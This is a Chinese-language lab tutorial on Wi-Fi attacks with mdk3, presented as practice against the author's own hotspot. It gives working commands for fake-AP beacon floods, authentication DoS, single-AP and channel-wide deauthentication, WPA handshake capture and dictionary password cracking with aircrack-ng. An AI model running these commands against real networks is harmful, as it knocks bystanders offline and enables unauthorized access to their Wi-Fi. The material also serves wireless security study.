前言
本次依然使用Kali虚拟机系统,win11主机,网卡Ralink 802.11
配合mdk3进行wifi伪造、连接设备查看、解除认证攻击。
本次实验只用于学习交流,攻击目标为自家的手机热点,请勿违法使用!
目录
前言
1.Deauth攻击原理
2.mdk3介绍
3.mdk实战
准备工作
3.1 mdk3创建虚拟wifi
3..1.1 创建一个虚拟wifi
3.1.2 创建大量虚拟wifi
3.2 扫描连接wifi的设备
3.3 向指定AP进行Dos攻击
3.4 向指定AP发起取消认证攻击
3.4.1攻击单一Ap
3.4.2 信道(ch)攻击AP
4.mdk3实现无线网络攻击
步骤一:使用mdk3强制解除验证解除连接的设备
步骤二:获取握手数据包
步骤三:密码字典破解wifi密码
1.Deauth攻击原理
取消验证洪水攻击,国际上称之为De-authenticationFloodAttack,全称即取消身份验证洪水攻击或验证阻断洪水攻击,通常被简称为Deauth攻击。是无线网络拒绝服务攻击的一种形式,它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联的/未认证的状态。对于目前广泛使用的无线客户端适配器工具来说,这种形式的攻击在打断客户端无线服务方面非常有效和快捷。一般来说,在攻击者发送另一个取消身份验证帧之前,客户站会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧才能使所有客户端持续拒绝服务。
需要说明的是,De-authenticationBroadcastAttack即取消身份验证广播攻击和De-
authenticationFloodAttack即取消身份验证洪水攻击原理基本一致,只是在发送程度及使用工具上有所区别,但前者很多时候用于配合进行无线中间人攻击,而后者常用于纯粹的无线D.O.S,所以很多不够清楚的无线安全资料上会将两者放在一起提及。
取消身份验证洪水攻击具体步骤如下:
- 攻击者先通过扫描工具识别出预攻击目标(无线接入点和所有已连接的无线客户端)。
- 通过伪造无线接入点和无线客户端来将含有de-authentication帧注入到正常无线网络通信。此时,无线客户端会认为所有数据包均来自无线接入点。
- 在将指定无线客户端“踢出”无线网络后,攻击者可以对其他客户端进行同样的攻击,并可以持续进行以确保这些客户端无法连接AP。
- 尽管客户端会尝试再次连接AP,但由于攻击者的持续攻击,将会很快被断开。
下图为笔者绘制的取消身份验证洪水攻击原理图,可看到攻击者对整个无线网络发送了伪造的取消身份验证报文。
2.mdk3介绍
MDK3 (Murder Death Kill 3) 是一款开源的无线网络攻击工具,可以用于 Wi-Fi 功能的测试、漏洞利用、暴力破解和 DoS 攻击等方面。MDK3 可以模拟各种攻击场景,提供了许多有用的功能和选项。以下是 MDK3 的一些常用参数:
MDK USAGE:
mdk3 <interface> <test_mode> [test_options] #mdk3用法:mdk3 网卡 测试模式 测试选项
TEST MODES: #测试模式
b - Beacon Flood Mode #信标洪水模式 其实就是制造虚假AP干扰正常AP
OPTIONS:
-n <ssid>
Use SSID <ssid> instead of randomly generated ones #使用SSID <ssid>而不是随机生成的
-f <filename>
Read SSIDs from file #从文件中读取SSID
-v <filename>
Read MACs and SSIDs from file. #从文件读取MAC和SSID
-d
Show station as Ad-Hoc #将站显示为Ad-Hoc
-w
Set WEP bit (Generates encrypted networks) #设置WEP位(生成加密网络)
-g
Show station as 54 Mbit # 显示工作站为54M
-t
Show station using WPA TKIP encryption #使用WPA TKIP加密显示工作站
-a
Show station using WPA AES encryption #使用WPA AES加密显示工作站
-m
Use valid accesspoint MAC from OUI database #使用来自OUI数据库的有效访问点MAC
-h
Hop to channel where AP is spoofed #跳到AP被欺骗的频道
This makes the test more effective against some devices/drivers #这使得测试对于某些设备/驱动程序更有效
But it reduces packet rate due to channel hopping. #但它减少了由于信道跳频的分组速率
-c <chan>
Fake an AP on channel <chan>. If you want your card to hop on #在频道<chan>上创建AP。如果你想要你的卡上跳
this channel, you have to set -h option, too! #这个通道,你必须设置-h选项!
-s <pps>
Set speed in packets per second (Default: 50) #设置速度(以秒为单位)(默认值:50)
a - Authentication DoS mode # 身份验证洪水攻击
OPTIONS:
-a <ap_mac>
Only test the specified AP #只测试指定的AP
-m
Use valid client MAC from OUI database #从OUI数据库使用有效的客户端MAC
-c
Do NOT check for test being successful #不要检查测试是否成功
-i <ap_mac>
Perform intelligent test on AP (-a and -c will be ignored) #在AP上执行智能测试(-a和-c将被忽略)
This test connects clients to the AP and reinjects sniffed data to keep them alive #此测试将客户端连接到AP,并重新注入嗅探的数据以保持活动
-s <pps>
Set speed in packets per second (Default: unlimited) #设置速度(以每秒包数为单位)(默认值:无限制)
p - Basic probing and ESSID Bruteforce mode #基本探测和ESSID Bruteforce模式
Use -f and -t option to enable SSID Bruteforcing. #使用-f和-t选项来启用SSID Bruteforcing。
OPTIONS:
-e <ssid>
Tell mdk3 which SSID to probe for # 告诉mdk3要探测的SSID
-f <filename>
Read lines from file for bruteforcing hidden SSIDs #从文件中读取行以强制执行隐藏的SSID
-t <bssid>
Set MAC adress of target AP #设置目标AP的MAC地址
-s <pps>
Set speed (Default: unlimited, in Bruteforce mode: 300) # 设置速度(默认值:无限制,在Bruteforce模式下:300)
-b <character set>
Use full Bruteforce mode (recommended for short SSIDs only!) #使用完全的Bruteforce模式(建议只使用短SSID!)
Use this switch only to show its help screen. #使用此开关仅显示其帮助屏幕
d - Deauthentication / Disassociation Amok Mode #Deauthentication / Disassociation攻击模式
Kicks everybody found from AP #踢掉每个客户端
OPTIONS:
-w <filename>
Read file containing MACs not to care about (Whitelist mode) #白名单模式 读取包含MAC的文件以运行测试
-b <filename>
Read file containing MACs to run test on (Blacklist Mode) #黑名单模式 读取文件中的运行测试MAC运行测试
-s <pps>
Set speed in packets per second (Default: unlimited) #设置速度(以每秒包数为单位)(默认值:无限制)
-c [chan,chan,chan,...]
Enable channel hopping. Without providing any channels, mdk3 will hop an all #设置信道跳跃如果没指定,mdk3会跳一个
14 b/g channels. Channel will be changed every 5 seconds. #14 b / g通道。信道每5秒更改一次
m - Michael shutdown exploitation (TKIP) #MAC关闭利用
Cancels all traffic continuously #连续取消所有流量
-t <bssid>
Set Mac address of target AP #设置目标AP的Mac地址
-w <seconds>
Seconds between bursts (Default: 10) #突发之间的秒数(默认值:10)
-n <ppb>
Set packets per burst (Default: 70) #设置每个数据包的数据包(默认值:70)
-j
Use the new TKIP QoS-Exploit #使用新的TKIP QoS-Exploit
Needs just a few packets to shut AP down! #需要几个数据包才能关闭AP!
-s <pps>
Set speed (Default: 400) #设置速度(默认值:400)
w - WIDS/WIPS/WDS Confusion
将WDS与多认证客户端混淆,从而弄乱路由表
-e <SSID>
SSID of target WDS network #目标WDS网络的SSID
-c [chan,chan,chan...]
Use channel hopping #使用信道跳跃
-z
激活Zero_Chaos的WIDS攻击
(验证客户端从WDS到外部AP,使WIDS变得坚果)
f - MAC filter bruteforce mode #MAC过滤器强制模式
此测试使用已知客户端MAC地址的列表,并尝试
在动态改变的同时向给定AP认证它们
其响应超时以获得最佳性能。它目前只工作
对正确拒绝开放身份验证请求的AP
-t <bssid>
Target BSSID #目标BSSID
-m <mac>
Set the MAC adress range to use (3 bytes, i.e. 00:12:34) #设置要使用的MAC地址范围(3字节,即00:12:34)
Without -m, the internal database will be used #如果没有-m,将使用内部数据库
-f <mac>
Set the MAC adress to begin bruteforcing with #设置MAC地址以开始强制
(Note: You can't use -f and -m at the same time) #(注意:不能同时使用-f和-m)
g - WPA Downgrade test #WPA降级测试
deauthenticates发送WPA加密数据包的站和AP。
有了这个测试,你可以检查sysadmin是否会尝试设置他的
网络到WEP或禁用加密。 mdk3将使WEP和未加密
客户端工作,所以如果系统管理员只是认为“WPA是破碎”他
肯定不是这个工作的正确。
(这可以/应该与社会工程相结合)
-t <bssid>
Target network #目标网络
MDK3 支持许多其他选项和功能,可以根据需要使用它们。请注意,在使用 MDK3 工具时,请确保您已获得适当的授权并了解您使用该工具的目的及法律限制。
3.mdk实战
准备工作
连接网卡:
切换网卡为监听模式(monitor):
AP扫描:
3.1 mdk3创建虚拟wifi
3..1.1 创建一个虚拟wifi
输入下面命令来创建一个叫做“test_wifi”虚拟wifi。
mdk3 wlan0mon b -n test_wifi
b -n:指定wifi名字
3.1.2创建大量虚拟wifi
输入下面命令来创建大量在信道为1随机名字的wifi
mdk3 wlan0mon b -g -c 1
该命令会在无线接口 wlan0mon 上使用 Beacon Flood Mode(信标洪泛模式)攻击,
目标为 BSSID 地址为 b,
攻击信道为 1。
其中 -g 参数表示使用泛洪模式,
即不断发送带有随机 SSID 和 MAC 地址的信标广播包,以干扰目标网络。通过这种方式可以使目标AP在所有连接设备之外都变得不可用,从而对目标网络造成干扰或攻击。
不一会,就创建了几十个wifi。
PS:伪AP的名字可以通过读取本地文件创建
mdk3 wlan0mon b -f /root/names.txt -c 6 -s 1000
该命令会在无线接口 wlan0mon 上使用 Beacon Flood Mode(信标洪泛模式)攻击,目标为随机 BSSID,攻击信道为 6,同时将随机生成的 SSID 使用 /root/names.txt 文件中的内容进行替换,1000ms。可以通过这种方式向附近的设备广播大量的热点信息,以干扰和误导目标网络的用户。
3.2扫描连接wifi的设备
使用下面命令可以扫描连接wifi的设备。请自行替换目标wifi名字
mdk3 wlan0mon w -e <SSID>
3.3 向指定AP进行Dos攻击
这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应;这个模式常见的使用是在reaver穷据路由PIN码,当遇到AP被“pin死”时,可以用这个模式来直接让AP停止正常响应,迫使AP主人重启路由,对于有些路由器防DOS的这个不好用。
输入下面命令,向指定AP发起DOS攻击。请自行替换目标MAC地址。
mdk3 wlan0mon a -a [MAC]
这个攻击对于我的路由器貌似没什么效果,可能是我的路由器防DoS或者是攻击时间太短请求都能够正常处理。
3.4 向指定AP发起取消认证攻击
3.4.1攻击单一Ap
使用以下命令可以强制解除验证解除连接的设备。请自行替换目标MAC地址
mdk3 wlan0mon d 76:87:4E:74:34:06
该命令使用MDK3的Deauthentication Mode(强制下线模式)针对指定的MAC地址(76:87:4E:74:34:06)进行攻击。在攻击期间,MDK3会发送大量的deauth帧,以迫使目标设备断开与Wi-Fi网络的连接。
3.4.2 信道(ch)攻击AP
在这个模式下,软件会向周围所有可见AP发起循环攻击…可以造成一定范围内的无线网络瘫痪(当然有白名单,黑名单模式),直到手动停止攻击
mdk3 wlan0mon d -c 11
该命令使用MDK3的Deauthentication Mode(强制下线模式)对Wi-Fi信道11上所有连接的设备进行攻击。在攻击期间,MDK3会发送大量的deauth帧,以迫使目标设备断开与Wi-Fi网络的连接。
快ctrl c停止,不然别人来找你了!
4.mdk3实现无线网络攻击
步骤一:使用mdk3强制解除验证解除连接的设备
利用mdk3对指定AP进行攻击,发送取消认证数据包,解除连接在AP上的设备
mdk3 wlan0mon d 76:87:4E:74:34:06
这个时候wifi已经连接失败!
步骤二:获取握手数据包
airodump-ng -c 1 --bssid 76:87:4E:74:34:06 -w /home/gyp-202031070222/桌面/wifi2 wlan0mon
步骤三:密码字典破解wifi密码
aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/gyp-202031070222/桌面/wifi2-01.cap
其实原理和之前的deauth攻击差不多,让其断开连接后获取握手数据包,然后密码字典破解!